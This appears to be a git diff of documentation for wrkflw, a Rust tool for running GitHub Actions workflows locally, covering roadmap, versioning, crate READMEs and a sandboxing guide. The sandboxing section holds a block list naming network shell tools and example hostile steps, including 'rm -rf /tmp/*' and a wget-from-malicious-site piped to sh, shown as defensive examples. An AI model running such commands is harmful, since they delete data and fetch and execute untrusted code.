- **Goal:** Support artifact upload/download, workflow/job status reporting, and other API-based features.
|
||||
- **Plan:**
|
||||
- Add artifact upload/download endpoints.
|
||||
- Implement status reporting to GitHub via the API.
|
||||
- Add support for job/step annotations and logs upload.
|
||||
### Supported
|
||||
- Workflow syntax validation with exit codes
|
||||
- Job dependency resolution and parallel execution
|
||||
- Matrix builds, environment variables, GitHub context
|
||||
- Container, JavaScript, composite, and local actions
|
||||
- Reusable workflows (caller jobs)
|
||||
- Environment files (`GITHUB_OUTPUT`, `GITHUB_ENV`, `GITHUB_PATH`, `GITHUB_STEP_SUMMARY`)
|
||||
- TUI and CLI interfaces
|
||||
- Container cleanup (even on Ctrl+C)
|
||||
|
||||
### 4. Advanced Environment Variables
|
||||
- **Goal:** Emulate all dynamic GitHub-provided environment variables.
|
||||
- **Plan:**
|
||||
- Audit missing variables and add dynamic computation where possible.
|
||||
- Provide a compatibility table in the documentation.
|
||||
### Not Supported
|
||||
- GitHub encrypted secrets and fine-grained permissions
|
||||
- `actions/cache` (no persistent cache between runs)
|
||||
- Artifact upload/download between jobs
|
||||
- Event triggers other than `workflow_dispatch`
|
||||
- Windows and macOS runners
|
||||
- Job/step timeouts, concurrency, and cancellation
|
||||
- Service containers in emulation mode
|
||||
- Reusable workflow output propagation (`needs.<id>.outputs.*`)
|
||||
|
||||
### 5. Large/Complex Matrix Builds
|
||||
- **Goal:** Improve performance and resource management for large matrices.
|
||||
- **Plan:**
|
||||
- Optimize matrix expansion and job scheduling.
|
||||
- Add resource limits and warnings for very large matrices.
|
||||
## Project Structure
|
||||
|
||||
### 6. Network-Isolated Actions
|
||||
- **Goal:** Support custom network configurations and strict isolation for actions.
|
||||
- **Plan:**
|
||||
- Add advanced container network configuration options for Docker and Podman.
|
||||
- Document best practices for network isolation.
|
||||
WRKFLW is organized as a Cargo workspace with focused crates:
|
||||
|
||||
### 7. Event Triggers
|
||||
- **Goal:** Support additional triggers (`push`, `pull_request`, `schedule`, etc.).
|
||||
- **Plan:**
|
||||
- Implement event simulation for common triggers.
|
||||
- Allow users to specify event payloads for local runs.
|
||||
|
||||
### 8. Windows and macOS Runners
|
||||
- **Goal:** Add support for non-Linux runners.
|
||||
- **Plan:**
|
||||
- Investigate cross-platform containerization and emulation.
|
||||
- Add documentation for platform-specific limitations.
|
||||
|
||||
### 9. Service Containers in Emulation Mode
|
||||
- **Goal:** Support service containers (e.g., databases) in emulation mode.
|
||||
- **Plan:**
|
||||
- Implement local service startup and teardown scripts.
|
||||
- Provide configuration for common services.
|
||||
|
||||
### 10. Artifacts, Timeouts, Concurrency, and Expressions
|
||||
- **Goal:** Support artifact handling, job/step timeouts, concurrency, and advanced YAML expressions.
|
||||
- **Plan:**
|
||||
- Add artifact storage and retrieval.
|
||||
- Enforce timeouts and concurrency limits.
|
||||
- Expand expression parser for advanced use cases.
|
||||
|
||||
---
|
||||
|
||||
**Want to help?** Contributions are welcome! See [CONTRIBUTING.md](CONTRIBUTING.md) for how to get started.
|
||||
| Crate | Purpose |
|
||||
|-------|---------|
|
||||
| `wrkflw` | CLI binary and library entry point |
|
||||
| `wrkflw-executor` | Workflow execution engine |
|
||||
| `wrkflw-parser` | Workflow file parsing and schema validation |
|
||||
| `wrkflw-evaluator` | Structural evaluation of workflow files |
|
||||
| `wrkflw-validators` | Validation rules for jobs, steps, triggers |
|
||||
| `wrkflw-runtime` | Container and emulation runtime abstractions |
|
||||
| `wrkflw-ui` | Terminal user interface |
|
||||
| `wrkflw-models` | Shared data structures |
|
||||
| `wrkflw-matrix` | Matrix expansion utilities |
|
||||
| `wrkflw-secrets` | Secrets management with multiple providers |
|
||||
| `wrkflw-github` | GitHub API integration |
|
||||
| `wrkflw-gitlab` | GitLab API integration |
|
||||
| `wrkflw-logging` | In-memory logging for TUI/CLI |
|
||||
| `wrkflw-utils` | Shared helpers |
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the MIT License - see the LICENSE file for details.
|
||||
|
||||
## Remote Workflow Triggering
|
||||
|
||||
WRKFLW allows you to manually trigger workflow runs on GitHub through both the command-line interface (CLI) and the terminal user interface (TUI).
|
||||
|
||||
### Requirements:
|
||||
|
||||
1. You need a GitHub token with workflow permissions. Set it in the `GITHUB_TOKEN` environment variable:
|
||||
```bash
|
||||
export GITHUB_TOKEN=ghp_your_token_here
|
||||
```
|
||||
|
||||
2. The workflow must have the `workflow_dispatch` trigger defined in your workflow YAML:
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
name:
|
||||
description: 'Person to greet'
|
||||
default: 'World'
|
||||
required: true
|
||||
debug:
|
||||
description: 'Enable debug mode'
|
||||
required: false
|
||||
type: boolean
|
||||
default: false
|
||||
```
|
||||
|
||||
### Triggering from CLI:
|
||||
|
||||
```bash
|
||||
# Trigger a workflow using the default branch
|
||||
wrkflw trigger workflow-name
|
||||
|
||||
# Trigger a workflow on a specific branch
|
||||
wrkflw trigger workflow-name --branch feature-branch
|
||||
|
||||
# Trigger with input parameters
|
||||
wrkflw trigger workflow-name --branch main --input name=Alice --input debug=true
|
||||
```
|
||||
|
||||
After triggering, WRKFLW will provide feedback including the URL to view the triggered workflow on GitHub.
|
||||
|
||||
### Triggering from TUI:
|
||||
|
||||
1. Launch the TUI interface:
|
||||
```bash
|
||||
wrkflw tui
|
||||
```
|
||||
|
||||
2. Navigate to the "Workflows" tab (use `Tab` key or press `1`).
|
||||
|
||||
3. Use the arrow keys (`↑`/`↓`) or `j`/`k` to select the desired workflow.
|
||||
|
||||
4. Press `t` to trigger the selected workflow.
|
||||
|
||||
5. If the workflow is successfully triggered, you'll see a notification in the UI.
|
||||
|
||||
6. You can monitor the triggered workflow's execution on GitHub using the provided URL.
|
||||
|
||||
### Verifying Triggered Workflows:
|
||||
|
||||
To verify that your workflow was triggered:
|
||||
|
||||
1. Visit your GitHub repository in a web browser.
|
||||
2. Navigate to the "Actions" tab.
|
||||
3. Look for your workflow in the list of workflow runs.
|
||||
4. Click on it to view the details of the run.
|
||||
MIT License - see [LICENSE](LICENSE) for details.
|
||||
|
||||
@@ -1,279 +0,0 @@
|
||||
# Version Management Guide
|
||||
|
||||
This guide explains how to manage versions in the wrkflw workspace, both for the entire workspace and for individual crates.
|
||||
|
||||
## Overview
|
||||
|
||||
The wrkflw project uses a Cargo workspace with flexible version management that supports:
|
||||
- **Workspace-wide versioning**: All crates share the same version
|
||||
- **Individual crate versioning**: Specific crates can have their own versions
|
||||
- **Automatic dependency management**: Internal dependencies are managed through workspace inheritance
|
||||
|
||||
## Current Setup
|
||||
|
||||
### Workspace Dependencies
|
||||
All internal crate dependencies are defined in the root `Cargo.toml` under `[workspace.dependencies]`:
|
||||
|
||||
```toml
|
||||
[workspace.dependencies]
|
||||
# Internal crate dependencies
|
||||
wrkflw-models = { path = "crates/models", version = "0.7.2" }
|
||||
wrkflw-evaluator = { path = "crates/evaluator", version = "0.7.2" }
|
||||
# ... other crates
|
||||
```
|
||||
|
||||
### Crate Dependencies
|
||||
Individual crates reference internal dependencies using workspace inheritance:
|
||||
|
||||
```toml
|
||||
[dependencies]
|
||||
# Internal crates
|
||||
wrkflw-models.workspace = true
|
||||
wrkflw-validators.workspace = true
|
||||
```
|
||||
|
||||
This approach means:
|
||||
- ✅ No hard-coded versions in individual crates
|
||||
- ✅ Single source of truth for internal crate versions
|
||||
- ✅ Easy individual crate versioning without manual updates everywhere
|
||||
|
||||
## Version Management Strategies
|
||||
|
||||
### Strategy 1: Workspace-Wide Versioning (Recommended for most cases)
|
||||
|
||||
Use this when changes affect multiple crates or for major releases.
|
||||
|
||||
```bash
|
||||
# Bump all crates to the same version
|
||||
cargo ws version patch # 0.7.2 → 0.7.3
|
||||
cargo ws version minor # 0.7.2 → 0.8.0
|
||||
cargo ws version major # 0.7.2 → 1.0.0
|
||||
|
||||
# Or specify exact version
|
||||
cargo ws version 1.0.0
|
||||
|
||||
# Commit and tag
|
||||
git add .
|
||||
git commit -m "chore: bump workspace version to $(grep '^version' Cargo.toml | head -1 | sed 's/.*= *"\([^"]*\)".*/\1/')"
|
||||
git tag v$(grep '^version' Cargo.toml | head -1 | sed 's/.*= *"\([^"]*\)".*/\1/')
|
||||
git push origin main --tags
|
||||
```
|
||||
|
||||
### Strategy 2: Individual Crate Versioning
|
||||
|
||||
Use this when changes are isolated to specific crates.
|
||||
|
||||
#### Using the Helper Script
|
||||
|
||||
```bash
|
||||
# Bump a specific crate
|
||||
./scripts/bump-crate.sh wrkflw-models patch # 0.7.2 → 0.7.3
|
||||
./scripts/bump-crate.sh wrkflw-models minor # 0.7.2 → 0.8.0
|
||||
./scripts/bump-crate.sh wrkflw-models 0.8.5 # Specific version
|
||||
|
||||
# The script will:
|
||||
# 1. Update the crate's Cargo.toml to use explicit version
|
||||
# 2. Update workspace dependencies
|
||||
# 3. Show you next steps
|
||||
```
|
||||
|
||||
#### Manual Individual Versioning
|
||||
|
||||
If you prefer manual control:
|
||||
|
||||
1. **Update the crate's Cargo.toml**:
|
||||
```toml
|
||||
# Change from:
|
||||
version.workspace = true
|
||||
# To:
|
||||
version = "0.7.3"
|
||||
```
|
||||
|
||||
2. **Update workspace dependencies**:
|
||||
```toml
|
||||
[workspace.dependencies]
|
||||
wrkflw-models = { path = "crates/models", version = "0.7.3" }
|
||||
```
|
||||
|
||||
3. **Test and commit**:
|
||||
```bash
|
||||
cargo check
|
||||
git add .
|
||||
git commit -m "bump: wrkflw-models to 0.7.3"
|
||||
git tag v0.7.3-wrkflw-models
|
||||
git push origin main --tags
|
||||
```
|
||||
|
||||
## Release Workflows
|
||||
|
||||
### Full Workspace Release
|
||||
|
||||
```bash
|
||||
# 1. Make your changes
|
||||
# 2. Bump version
|
||||
cargo ws version patch --no-git-commit
|
||||
|
||||
# 3. Commit and tag
|
||||
git add .
|
||||
git commit -m "chore: release version $(grep '^version' Cargo.toml | head -1 | sed 's/.*= *"\([^"]*\)".*/\1/')"
|
||||
git tag v$(grep '^version' Cargo.toml | head -1 | sed 's/.*= *"\([^"]*\)".*/\1/')
|
||||
|
||||
# 4. Push (this triggers GitHub Actions)
|
||||
git push origin main --tags
|
||||
```
|
||||
|
||||
### Individual Crate Release
|
||||
|
||||
```bash
|
||||
# 1. Use helper script or manual method above
|
||||
./scripts/bump-crate.sh wrkflw-models patch
|
||||
|
||||
# 2. Follow the script's suggestions
|
||||
git add .
|
||||
git commit -m "bump: wrkflw-models to X.Y.Z"
|
||||
git tag vX.Y.Z-wrkflw-models
|
||||
git push origin main --tags
|
||||
|
||||
# 3. Optionally publish to crates.io
|
||||
cd crates/models
|
||||
cargo publish
|
||||
```
|
||||
|
||||
## Publishing to crates.io
|
||||
|
||||
### Publishing Individual Crates
|
||||
|
||||
```bash
|
||||
# Navigate to the crate
|
||||
cd crates/models
|
||||
|
||||
# Ensure all dependencies are published first
|
||||
# (or available on crates.io)
|
||||
cargo publish --dry-run
|
||||
|
||||
# Publish
|
||||
cargo publish
|
||||
```
|
||||
|
||||
### Publishing All Crates
|
||||
|
||||
```bash
|
||||
# Use cargo-workspaces
|
||||
cargo ws publish --from-git
|
||||
```
|
||||
|
||||
## Integration with GitHub Actions
|
||||
|
||||
The existing `.github/workflows/release.yml` works with both strategies:
|
||||
|
||||
- **Tag format `v1.2.3`**: Triggers full workspace release
|
||||
- **Tag format `v1.2.3-crate-name`**: Could be used for individual crate releases (needs workflow modification)
|
||||
|
||||
### Modifying for Individual Crate Releases
|
||||
|
||||
To support individual crate releases, you could modify the workflow to:
|
||||
|
||||
```yaml
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- 'v*' # Full releases: v1.2.3
|
||||
- 'v*-wrkflw-*' # Individual releases: v1.2.3-wrkflw-models
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
### When to Use Each Strategy
|
||||
|
||||
**Use Workspace-Wide Versioning when:**
|
||||
- Making breaking changes across multiple crates
|
||||
- Major feature releases
|
||||
- Initial development phases
|
||||
- Simpler release management is preferred
|
||||
|
||||
**Use Individual Crate Versioning when:**
|
||||
- Changes are isolated to specific functionality
|
||||
- Different crates have different stability levels
|
||||
- You want to minimize dependency updates for users
|
||||
- Publishing to crates.io with different release cadences
|
||||
|
||||
### Version Numbering
|
||||
|
||||
Follow [Semantic Versioning](https://semver.org/):
|
||||
|
||||
- **Patch (0.7.2 → 0.7.3)**: Bug fixes, internal improvements
|
||||
- **Minor (0.7.2 → 0.8.0)**: New features, backward compatible
|
||||
- **Major (0.7.2 → 1.0.0)**: Breaking changes
|
||||
|
||||
### Dependency Management
|
||||
|
||||
- Keep internal dependencies using workspace inheritance
|
||||
- Only specify explicit versions when a crate diverges from workspace version
|
||||
- Always test with `cargo check` and `cargo test` before releasing
|
||||
- Use `cargo tree` to verify dependency resolution
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Common Issues
|
||||
|
||||
**Issue**: Cargo complains about version mismatches
|
||||
```bash
|
||||
# Solution: Check workspace dependencies match crate versions
|
||||
grep -r "version.*=" crates/*/Cargo.toml
|
||||
grep "wrkflw-.*version" Cargo.toml
|
||||
```
|
||||
|
||||
**Issue**: Published crate can't find dependencies
|
||||
```bash
|
||||
# Solution: Ensure all dependencies are published to crates.io first
|
||||
# Or use path dependencies only for local development
|
||||
```
|
||||
|
||||
**Issue**: GitHub Actions fails on tag
|
||||
```bash
|
||||
# Solution: Ensure tag format matches workflow trigger
|
||||
git tag -d v1.2.3 # Delete local tag
|
||||
git push origin :refs/tags/v1.2.3 # Delete remote tag
|
||||
git tag v1.2.3 # Recreate with correct format
|
||||
git push origin v1.2.3
|
||||
```
|
||||
|
||||
## Tools and Commands
|
||||
|
||||
### Useful Commands
|
||||
|
||||
```bash
|
||||
# List all workspace members with versions
|
||||
cargo ws list
|
||||
|
||||
# Check all crates
|
||||
cargo check --workspace
|
||||
|
||||
# Test all crates
|
||||
cargo test --workspace
|
||||
|
||||
# Show dependency tree
|
||||
cargo tree
|
||||
|
||||
# Show outdated dependencies
|
||||
cargo outdated
|
||||
|
||||
# Verify publishability
|
||||
cargo publish --dry-run --manifest-path crates/models/Cargo.toml
|
||||
```
|
||||
|
||||
### Recommended Tools
|
||||
|
||||
- `cargo-workspaces`: Workspace management
|
||||
- `cargo-outdated`: Check for outdated dependencies
|
||||
- `cargo-audit`: Security audit
|
||||
- `cargo-machete`: Find unused dependencies
|
||||
|
||||
## Migration Notes
|
||||
|
||||
If you're migrating from the old hard-coded version system:
|
||||
|
||||
1. All internal crate versions are now managed in workspace `Cargo.toml`
|
||||
2. Individual crates use `crate-name.workspace = true` for internal dependencies
|
||||
3. Use the helper script or manual process above for individual versioning
|
||||
4. The system is fully backward compatible with existing workflows
|
||||
105
crates/README.md
105
crates/README.md
@@ -1,97 +1,44 @@
|
||||
# Wrkflw Crates
|
||||
|
||||
This directory contains the Rust crates that make up the Wrkflw project. The project has been restructured to use a workspace-based approach with individual crates for better modularity and maintainability.
|
||||
This directory contains the Rust crates that make up the wrkflw workspace.
|
||||
|
||||
## Crate Structure
|
||||
|
||||
- **wrkflw**: Main binary crate and entry point for the application
|
||||
- **models**: Data models and structures used throughout the application
|
||||
- **evaluator**: Workflow evaluation functionality
|
||||
- **executor**: Workflow execution engine
|
||||
- **github**: GitHub API integration
|
||||
- **gitlab**: GitLab API integration
|
||||
- **logging**: Logging functionality
|
||||
- **matrix**: Matrix-based parallelization support
|
||||
- **parser**: Workflow parsing functionality
|
||||
- **runtime**: Runtime execution environment
|
||||
- **ui**: User interface components
|
||||
- **utils**: Utility functions
|
||||
- **validators**: Validation functionality
|
||||
| Crate | Purpose |
|
||||
|-------|---------|
|
||||
| **wrkflw** | CLI binary and library entry point |
|
||||
| **executor** | Workflow execution engine (Docker, Podman, emulation) |
|
||||
| **parser** | Workflow file parsing and JSON Schema validation |
|
||||
| **evaluator** | Structural evaluation of workflow files |
|
||||
| **validators** | Validation rules for jobs, steps, triggers, matrix |
|
||||
| **runtime** | Container management and emulation runtime |
|
||||
| **ui** | Terminal user interface (ratatui-based) |
|
||||
| **models** | Shared data structures (`ValidationResult`, GitLab models) |
|
||||
| **matrix** | Matrix expansion (`include`, `exclude`, `fail-fast`) |
|
||||
| **secrets** | Secrets management with multiple providers and encryption |
|
||||
| **github** | GitHub API integration (list/trigger workflows) |
|
||||
| **gitlab** | GitLab API integration (trigger pipelines) |
|
||||
| **logging** | Thread-safe in-memory logging for TUI/CLI |
|
||||
| **utils** | Workflow file detection and fd redirection helpers |
|
||||
|
||||
## Dependencies
|
||||
|
||||
Each crate has its own `Cargo.toml` file that defines its dependencies. The root `Cargo.toml` file defines the workspace and shared dependencies.
|
||||
|
||||
## Build Instructions
|
||||
|
||||
To build the entire project:
|
||||
## Building
|
||||
|
||||
```bash
|
||||
# Build everything
|
||||
cargo build
|
||||
```
|
||||
|
||||
To build a specific crate:
|
||||
|
||||
```bash
|
||||
cargo build -p <crate-name>
|
||||
# Build a specific crate
|
||||
cargo build -p wrkflw-executor
|
||||
```
|
||||
|
||||
## Testing
|
||||
|
||||
To run tests for the entire project:
|
||||
|
||||
```bash
|
||||
# Run all tests
|
||||
cargo test
|
||||
|
||||
# Run tests for a specific crate
|
||||
cargo test -p wrkflw-executor
|
||||
```
|
||||
|
||||
To run tests for a specific crate:
|
||||
|
||||
```bash
|
||||
cargo test -p <crate-name>
|
||||
```
|
||||
|
||||
## Rust Best Practices
|
||||
|
||||
When contributing to wrkflw, please follow these Rust best practices:
|
||||
|
||||
### Code Organization
|
||||
|
||||
- Place modules in their respective crates to maintain separation of concerns
|
||||
- Use `pub` selectively to expose only the necessary APIs
|
||||
- Follow the Rust module system conventions (use `mod` and `pub mod` appropriately)
|
||||
|
||||
### Errors and Error Handling
|
||||
|
||||
- Prefer using the `thiserror` crate for defining custom error types
|
||||
- Use the `?` operator for error propagation instead of match statements when appropriate
|
||||
- Implement custom error types that provide context for the error
|
||||
- Avoid using `.unwrap()` and `.expect()` in production code
|
||||
|
||||
### Performance
|
||||
|
||||
- Profile code before optimizing using tools like `cargo flamegraph`
|
||||
- Use `Arc` and `Mutex` judiciously for shared mutable state
|
||||
- Leverage Rust's zero-cost abstractions (iterators, closures)
|
||||
- Consider adding benchmark tests using the `criterion` crate for performance-critical code
|
||||
|
||||
### Security
|
||||
|
||||
- Validate all input, especially from external sources
|
||||
- Avoid using `unsafe` code unless absolutely necessary
|
||||
- Handle secrets securely using environment variables
|
||||
- Check for integer overflows with `checked_` operations
|
||||
|
||||
### Testing
|
||||
|
||||
- Write unit tests for all public functions
|
||||
- Use integration tests to verify crate-to-crate interactions
|
||||
- Consider property-based testing for complex logic
|
||||
- Structure tests with clear preparation, execution, and verification phases
|
||||
|
||||
### Tooling
|
||||
|
||||
- Run `cargo clippy` before committing changes to catch common mistakes
|
||||
- Use `cargo fmt` to maintain consistent code formatting
|
||||
- Enable compiler warnings with `#![warn(clippy::all)]`
|
||||
|
||||
For more detailed guidance, refer to the project's best practices documentation.
|
||||
Each crate has its own `Cargo.toml` with dependencies managed through workspace inheritance in the root `Cargo.toml`.
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
Small, focused helper for statically evaluating GitHub Actions workflow files.
|
||||
|
||||
- **Purpose**: Fast structural checks (e.g., `name`, `on`, `jobs`) before deeper validation/execution
|
||||
- **Purpose**: Fast structural checks (e.g., `name`, `on`, `jobs`) and composite action input cross-checking before deeper validation/execution
|
||||
- **Used by**: `wrkflw` CLI and TUI during validation flows
|
||||
|
||||
### Example
|
||||
|
||||
@@ -2,10 +2,12 @@
|
||||
|
||||
The execution engine that runs GitHub Actions workflows locally (Docker, Podman, or emulation).
|
||||
|
||||
- **Features**:
|
||||
- Job graph execution with `needs` ordering and parallelism
|
||||
- Docker/Podman container steps and emulation mode
|
||||
- Basic environment/context wiring compatible with Actions
|
||||
- Job graph execution with `needs` ordering and parallel independent jobs
|
||||
- Docker/Podman container steps and emulation mode
|
||||
- Run individual jobs via `target_job` / `--job` flag
|
||||
- GitHub Actions environment file support (`GITHUB_OUTPUT`, `GITHUB_ENV`, `GITHUB_PATH`, `GITHUB_STEP_SUMMARY`) with read-back
|
||||
- Docker-based action resolution (container, JavaScript, composite, local)
|
||||
- Job-level `container:` directive support
|
||||
- **Used by**: `wrkflw` CLI and TUI
|
||||
|
||||
### API sketch
|
||||
@@ -17,12 +19,10 @@ let cfg = ExecutionConfig {
|
||||
runtime: RuntimeType::Docker,
|
||||
verbose: true,
|
||||
preserve_containers_on_failure: false,
|
||||
target_job: None,
|
||||
target_job: Some("build".to_string()), // run a single job
|
||||
};
|
||||
|
||||
// Path to a workflow YAML
|
||||
let workflow_path = std::path::Path::new(".github/workflows/ci.yml");
|
||||
|
||||
let result = execute_workflow(workflow_path, cfg).await?;
|
||||
println!("workflow status: {:?}", result.summary_status);
|
||||
```
|
||||
|
||||
@@ -1,258 +0,0 @@
|
||||
# Security Features in wrkflw Runtime
|
||||
|
||||
This document describes the security features implemented in the wrkflw runtime, particularly the sandboxing capabilities for emulation mode.
|
||||
|
||||
## Overview
|
||||
|
||||
The wrkflw runtime provides multiple execution modes with varying levels of security:
|
||||
|
||||
1. **Docker Mode** - Uses Docker containers for isolation (recommended for production)
|
||||
2. **Podman Mode** - Uses Podman containers for isolation with rootless support
|
||||
3. **Secure Emulation Mode** - 🔒 **NEW**: Sandboxed execution on the host system
|
||||
4. **Emulation Mode** - ⚠️ **UNSAFE**: Direct execution on the host system (deprecated)
|
||||
|
||||
## Security Modes
|
||||
|
||||
### 🔒 Secure Emulation Mode (Recommended for Local Development)
|
||||
|
||||
The secure emulation mode provides comprehensive sandboxing to protect your system from potentially harmful commands while still allowing legitimate workflow operations.
|
||||
|
||||
#### Features
|
||||
|
||||
- **Command Validation**: Blocks dangerous commands like `rm -rf /`, `dd`, `sudo`, etc.
|
||||
- **Pattern Detection**: Uses regex patterns to detect dangerous command combinations
|
||||
- **Resource Limits**: Enforces CPU, memory, and execution time limits
|
||||
- **Filesystem Isolation**: Restricts file access to allowed paths only
|
||||
- **Environment Sanitization**: Filters dangerous environment variables
|
||||
- **Process Monitoring**: Tracks and limits spawned processes
|
||||
|
||||
#### Usage
|
||||
|
||||
```bash
|
||||
# Use secure emulation mode (recommended)
|
||||
wrkflw run --runtime secure-emulation .github/workflows/build.yml
|
||||
|
||||
# Or via TUI
|
||||
wrkflw tui --runtime secure-emulation
|
||||
```
|
||||
|
||||
#### Command Whitelist/Blacklist
|
||||
|
||||
**Allowed Commands (Safe):**
|
||||
- Basic utilities: `echo`, `cat`, `ls`, `grep`, `sed`, `awk`
|
||||
- Development tools: `cargo`, `npm`, `python`, `git`, `node`
|
||||
- Build tools: `make`, `cmake`, `javac`, `dotnet`
|
||||
|
||||
**Blocked Commands (Dangerous):**
|
||||
- System modification: `rm`, `dd`, `mkfs`, `mount`, `sudo`
|
||||
- Network tools: `wget`, `curl`, `ssh`, `nc`
|
||||
- Process control: `kill`, `killall`, `systemctl`
|
||||
|
||||
#### Resource Limits
|
||||
|
||||
```rust
|
||||
// Default configuration
|
||||
SandboxConfig {
|
||||
max_execution_time: Duration::from_secs(300), // 5 minutes
|
||||
max_memory_mb: 512, // 512 MB
|
||||
max_cpu_percent: 80, // 80% CPU
|
||||
max_processes: 10, // Max 10 processes
|
||||
allow_network: false, // No network access
|
||||
strict_mode: true, // Whitelist-only mode
|
||||
}
|
||||
```
|
||||
|
||||
### ⚠️ Legacy Emulation Mode (Unsafe)
|
||||
|
||||
The original emulation mode executes commands directly on the host system without any sandboxing. **This mode will be deprecated and should only be used for trusted workflows.**
|
||||
|
||||
```bash
|
||||
# Legacy unsafe mode (not recommended)
|
||||
wrkflw run --runtime emulation .github/workflows/build.yml
|
||||
```
|
||||
|
||||
## Example: Blocked vs Allowed Commands
|
||||
|
||||
### ❌ Blocked Commands
|
||||
|
||||
```yaml
|
||||
# This workflow will be blocked in secure emulation mode
|
||||
steps:
|
||||
- name: Dangerous command
|
||||
run: rm -rf /tmp/* # BLOCKED: Dangerous file deletion
|
||||
|
||||
- name: System modification
|
||||
run: sudo apt-get install package # BLOCKED: sudo usage
|
||||
|
||||
- name: Network access
|
||||
run: wget https://malicious-site.com/script.sh | sh # BLOCKED: wget + shell execution
|
||||
```
|
||||
|
||||
### ✅ Allowed Commands
|
||||
|
||||
```yaml
|
||||
# This workflow will run successfully in secure emulation mode
|
||||
steps:
|
||||
- name: Build project
|
||||
run: cargo build --release # ALLOWED: Development tool
|
||||
|
||||
- name: Run tests
|
||||
run: cargo test # ALLOWED: Testing
|
||||
|
||||
- name: List files
|
||||
run: ls -la target/ # ALLOWED: Safe file listing
|
||||
|
||||
- name: Format code
|
||||
run: cargo fmt --check # ALLOWED: Code formatting
|
||||
```
|
||||
|
||||
## Security Warnings and Messages
|
||||
|
||||
When dangerous commands are detected, wrkflw provides clear security messages:
|
||||
|
||||
```
|
||||
🚫 SECURITY BLOCK: Command 'rm' is not allowed in secure emulation mode.
|
||||
This command was blocked for security reasons.
|
||||
If you need to run this command, please use Docker or Podman mode instead.
|
||||
```
|
||||
|
||||
```
|
||||
🚫 SECURITY BLOCK: Dangerous command pattern detected: 'rm -rf /'.
|
||||
This command was blocked because it matches a known dangerous pattern.
|
||||
Please review your workflow for potentially harmful commands.
|
||||
```
|
||||
|
||||
## Configuration Examples
|
||||
|
||||
### Workflow-Friendly Configuration
|
||||
|
||||
```rust
|
||||
use wrkflw_runtime::sandbox::create_workflow_sandbox_config;
|
||||
|
||||
let config = create_workflow_sandbox_config();
|
||||
// - Allows network access for package downloads
|
||||
// - Higher resource limits for CI/CD workloads
|
||||
// - Less strict mode for development flexibility
|
||||
```
|
||||
|
||||
### Strict Security Configuration
|
||||
|
||||
```rust
|
||||
use wrkflw_runtime::sandbox::create_strict_sandbox_config;
|
||||
|
||||
let config = create_strict_sandbox_config();
|
||||
// - No network access
|
||||
// - Very limited command set
|
||||
// - Low resource limits
|
||||
// - Strict whitelist-only mode
|
||||
```
|
||||
|
||||
### Custom Configuration
|
||||
|
||||
```rust
|
||||
use wrkflw_runtime::sandbox::{SandboxConfig, Sandbox};
|
||||
use std::collections::HashSet;
|
||||
use std::path::PathBuf;
|
||||
|
||||
let mut config = SandboxConfig::default();
|
||||
|
||||
// Custom allowed commands
|
||||
config.allowed_commands = ["echo", "ls", "cargo"]
|
||||
.iter()
|
||||
.map(|s| s.to_string())
|
||||
.collect();
|
||||
|
||||
// Custom resource limits
|
||||
config.max_execution_time = Duration::from_secs(60);
|
||||
config.max_memory_mb = 256;
|
||||
|
||||
// Custom allowed paths
|
||||
config.allowed_write_paths.insert(PathBuf::from("./target"));
|
||||
config.allowed_read_paths.insert(PathBuf::from("./src"));
|
||||
|
||||
let sandbox = Sandbox::new(config)?;
|
||||
```
|
||||
|
||||
## Migration Guide
|
||||
|
||||
### From Unsafe Emulation to Secure Emulation
|
||||
|
||||
1. **Change Runtime Flag**:
|
||||
```bash
|
||||
# Old (unsafe)
|
||||
wrkflw run --runtime emulation workflow.yml
|
||||
|
||||
# New (secure)
|
||||
wrkflw run --runtime secure-emulation workflow.yml
|
||||
```
|
||||
|
||||
2. **Review Workflow Commands**: Check for any commands that might be blocked and adjust if necessary.
|
||||
|
||||
3. **Handle Security Blocks**: If legitimate commands are blocked, consider:
|
||||
- Using Docker/Podman mode for those specific workflows
|
||||
- Modifying the workflow to use allowed alternatives
|
||||
- Creating a custom sandbox configuration
|
||||
|
||||
### When to Use Each Mode
|
||||
|
||||
| Use Case | Recommended Mode | Reason |
|
||||
|----------|------------------|---------|
|
||||
| Local development | Secure Emulation | Good balance of security and convenience |
|
||||
| Untrusted workflows | Docker/Podman | Maximum isolation |
|
||||
| CI/CD pipelines | Docker/Podman | Consistent, reproducible environment |
|
||||
| Testing workflows | Secure Emulation | Fast execution with safety |
|
||||
| Trusted internal workflows | Secure Emulation | Sufficient security for known-safe code |
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Command Blocked Error
|
||||
|
||||
If you encounter a security block:
|
||||
|
||||
1. **Check if the command is necessary**: Can you achieve the same result with an allowed command?
|
||||
2. **Use container mode**: Switch to Docker or Podman mode for unrestricted execution
|
||||
3. **Modify the workflow**: Use safer alternatives where possible
|
||||
|
||||
### Resource Limit Exceeded
|
||||
|
||||
If your workflow hits resource limits:
|
||||
|
||||
1. **Optimize the workflow**: Reduce resource usage where possible
|
||||
2. **Use custom configuration**: Increase limits for specific use cases
|
||||
3. **Use container mode**: For resource-intensive workflows
|
||||
|
||||
### Path Access Denied
|
||||
|
||||
If file access is denied:
|
||||
|
||||
1. **Check allowed paths**: Ensure your workflow only accesses permitted directories
|
||||
2. **Use relative paths**: Work within the project directory
|
||||
3. **Use container mode**: For workflows requiring system-wide file access
|
||||
|
||||
## Best Practices
|
||||
|
||||
1. **Default to Secure Mode**: Use secure emulation mode by default for local development
|
||||
2. **Test Workflows**: Always test workflows in secure mode before deploying
|
||||
3. **Review Security Messages**: Pay attention to security blocks and warnings
|
||||
4. **Use Containers for Production**: Use Docker/Podman for production deployments
|
||||
5. **Regular Updates**: Keep wrkflw updated for the latest security improvements
|
||||
|
||||
## Security Considerations
|
||||
|
||||
- Secure emulation mode is designed to prevent **accidental** harmful commands, not to stop **determined** attackers
|
||||
- For maximum security with untrusted code, always use container modes
|
||||
- The sandbox is most effective against script errors and typos that could damage your system
|
||||
- Always review workflows from untrusted sources before execution
|
||||
|
||||
## Contributing Security Improvements
|
||||
|
||||
If you find security issues or have suggestions for improvements:
|
||||
|
||||
1. **Report Security Issues**: Use responsible disclosure for security vulnerabilities
|
||||
2. **Suggest Command Patterns**: Help improve dangerous pattern detection
|
||||
